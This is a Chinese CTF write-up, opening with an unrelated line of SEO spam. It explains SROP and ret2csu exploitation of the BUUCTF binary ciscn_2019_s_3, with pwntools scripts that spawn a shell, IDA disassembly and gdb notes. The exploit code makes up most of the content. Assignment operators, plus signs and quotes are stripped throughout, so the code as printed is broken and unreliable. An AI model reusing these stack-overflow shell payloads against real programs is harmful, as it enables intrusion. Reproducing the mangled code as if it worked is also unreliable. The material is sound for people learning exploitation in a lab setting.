网站域名跳转怎么做,提供网站制作公司电话,网站开发之ios知识扩展,海淀网站开发一、srop
参考文章-博客园-wudiiv11#xff08;作者#xff09;-BUUCTF-ciscn_2019_s_3 参考文章-博客园-z2yh#xff08;作者#xff09;-Srop 原理与利用方法
vlun函数中没有分配栈帧#xff08;指rsp没有增长#xff0c;也没有压入父函数的rbp#xff0c;这也导致…一、srop
参考文章-博客园-wudiiv11作者-BUUCTF-ciscn_2019_s_3 参考文章-博客园-z2yh作者-Srop 原理与利用方法
vlun函数中没有分配栈帧指rsp没有增长也没有压入父函数的rbp这也导致之后的构造payload的时候不需要填充rbp的那8个字节 首先看中间这一栏要找binsh的地址即写入参数的地址在read函数后打断点此时最上面一行rsprbp的这一行时写入地址0x10的位置在此时stack中找到一个栈上的地址减去offset 该地址 -rsp-0x10就是binsh addr 接下来验证 再看右侧这一栏打印出来binsh addr在最后测可以看到输出结果再在中间遮拦使用x/s命令查看该地址的内容验证确实为索要得到的内容
from pwn import *
from LibcSearcher import *
context(os linux, arch amd64, log_level debug)
ifRemote 0
if ifRemote:io remote(node4.buuoj.cn,26390)
else:io process(./ciscn_s_3)
popRdiRet 0x4005a3
syscall_addr 0x400501
setRax 0x4004da
main 0x4004ED
mainWithoutStackSet 0x4004f1def debug():gdb.attach(io)pause()
payload b/bin/sh\x00ba*(0x8) p64(main)
io.send(payload)print(io.recv(len(payload)8))
binsh_addr u64(io.recv(8)) -0x148
print(hex(binsh_addr))
# debug()
# payload bshsh\x00bb*(0x88)
# io.sendline(payload)
# print(io.recvall())frame SigreturnFrame()
frame.rax 59
frame.rdi binsh_addr
frame.rsi 0
frame.rdx 0
frame.rip syscall_addr
payload ba*(0x108)p64(setRax)p64(syscall_addr)str(frame)
io.sendline(payload)
io.interactive()结果本地可以打通
远程打不通
使用以下命令修改文件的libc 如何使用patchelf修改文件libc参见 这篇文章的相应段落
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./ciscn_s_3
patchelf --replace-needed libc.so.6 /home/iront/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./ciscn_s_3 ps有个奇怪的地方是rsp的位置好像不在预期的地方这里没有进行深入的探究 找到写入的binsh的位置 发现先此时偏移量变为了0x118
修改后的exp其实只把0x148改成了0x118
二、ret2csu
参考博文CSDN-西杭作者-中级ROP之ret2csu __libc_csu_init函数:
.text:00000000004011B0 ; void _libc_csu_init(void)
.text:00000000004011B0 public __libc_csu_init
.text:00000000004011B0 __libc_csu_init proc near ; DATA XREF: _start16↑o
.text:00000000004011B0 ; __unwind {
.text:00000000004011B0 push r15
.text:00000000004011B2 mov r15, rdx
.text:00000000004011B5 push r14
.text:00000000004011B7 mov r14, rsi
.text:00000000004011BA push r13
.text:00000000004011BC mov r13d, edi
.text:00000000004011BF push r12
.text:00000000004011C1 lea r12, __frame_dummy_init_array_entry
.text:00000000004011C8 push rbp
.text:00000000004011C9 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011D0 push rbx
.text:00000000004011D1 sub rbp, r12
.text:00000000004011D4 sub rsp, 8
.text:00000000004011D8 call _init_proc
.text:00000000004011DD sar rbp, 3
.text:00000000004011E1 jz short loc_4011FE
.text:00000000004011E3 xor ebx, ebx
.text:00000000004011E5 nop dword ptr [rax]
.text:00000000004011E8
.text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init4C↓j
.text:00000000004011E8 mov rdx, r15
.text:00000000004011EB mov rsi, r14
.text:00000000004011EE mov edi, r13d
.text:00000000004011F1 call qword ptr [r12rbx*8]
.text:00000000004011F5 add rbx, 1
.text:00000000004011F9 cmp rbp, rbx
.text:00000000004011FC jnz short loc_4011E8
.text:00000000004011FE
.text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init31↑j
.text:00000000004011FE add rsp, 8
.text:0000000000401202 pop rbx
.text:0000000000401203 pop rbp
.text:0000000000401204 pop r12
.text:0000000000401206 pop r13
.text:0000000000401208 pop r14
.text:000000000040120A pop r15
.text:000000000040120C retn
.text:000000000040120C ; } // starts at 4011B0
.text:000000000040120C __libc_csu_init endp
gadgets1:
.text:00000000004011FE loc_4011FE: ; CODE XREF: __libc_csu_init31↑j
.text:00000000004011FE add rsp, 8
.text:0000000000401202 pop rbx
.text:0000000000401203 pop rbp
.text:0000000000401204 pop r12
.text:0000000000401206 pop r13
.text:0000000000401208 pop r14
.text:000000000040120A pop r15
.text:000000000040120C retn
.text:000000000040120C ; } // starts at 4011B0
gadgets2
.text:00000000004011E8 loc_4011E8: ; CODE XREF: __libc_csu_init4C↓j
.text:00000000004011E8 mov rdx, r15
.text:00000000004011EB mov rsi, r14
.text:00000000004011EE mov edi, r13d
.text:00000000004011F1 call qword ptr [r12rbx*8]
.text:00000000004011F5 add rbx, 1
.text:00000000004011F9 cmp rbp, rbx
.text:00000000004011FC jnz short loc_4011E8
gadgets2
通用payload
payload ba*(0x10) p64(main)
io.send(payload)
print(io.recv(len(payload)8))
binsh_addr u64(io.recv(8)) -0x118
print(hex(binsh_addr))# rdx r15;rsi r14;rdi(edi) r13;r12存放需要调用的函数地址的地址
setRaxForExecv 0x4004e2
# 有些exp中用的是0x40059A就是一个add esp 8的区别那么相应的就在构造payload的时候少填充一个8字节下面涉及到再说
first_csu 0x400596
second_csu 0x400580
def ret_csu():#构造栈溢出点的paddingpayload /bin/sh\x00 p64(setRaxForExecv)# 下面这行填充的p64(0)就是为了填充add rsp, 8#first_csu为gadgets1的地址payload p64(first_csu) p64(0)#使得gadgets2中的while循环能够退出不至于死循环payload p64(0) p64(1) # rbx0, rbp1 # 这里是用作gadget2中的call指令call [r12rbx*8]# 由于rbx设置为0所以r12的地址处应存放一个gadget的地址# 这里设置r12的值为 binsh_addr 8,binsh_addr8处存放将rax设置为execv系统调用号的gadgetpayload p64(binsh_addr8) # r12 #三个参数的寄存器payload p64(0)*3 # r13 r14 r15# gadgets2的地址payload p64(second_csu)#gadgets2结束后再次执行gadgets1中的内容会pop出的6个栈的内容到寄存器1个add esp8所以paddding的内容为7*8长度payload p64(0)*7#函数最后的返回地址payload p64(popRdiRet) p64(binsh_addr)payload p64(syscall_addr)return payloadret2csu动态调试
从动态调试角度解释上述脚本构造原因 在这里设下断点开始调试 程序停在这里ps我wsl这台机器里需要在输入命令的界面非gdb界面按下两次回车才能开始在gdb中继续调试程序 一路ni到ret指令程序执行流被劫持到csu_init函数的gadget1位置 这里执行一次add rsp 8将栈抬高了8字节用p64(0)填充上然后为rbprbx赋值分别为10原因之后遇到了相关判断再分析 接下来pop r12r12是用于接下来的call指令的 在接下来连续三个pop r13,r14,r15分别对应rdxrsirdi的值都赋值为0即可execve的第2、3个参数分别为rsi、rdx均需要为0,所以此处对应p64(0)*3 继续ni到gadget1的ret 此时执行了call指令执行为rax赋值的操作 执行完rax赋值之后回到gadgets2中 此时进行cmp比较rbxrbp1如果不相等则回到循环这也是为什么payload中设置rbp 1rbx 0 在接下来程序执行一个rsp 8和6个pop 所以payload中填充p64(0)*7 再接着就继续执行到pop rdi和syscall了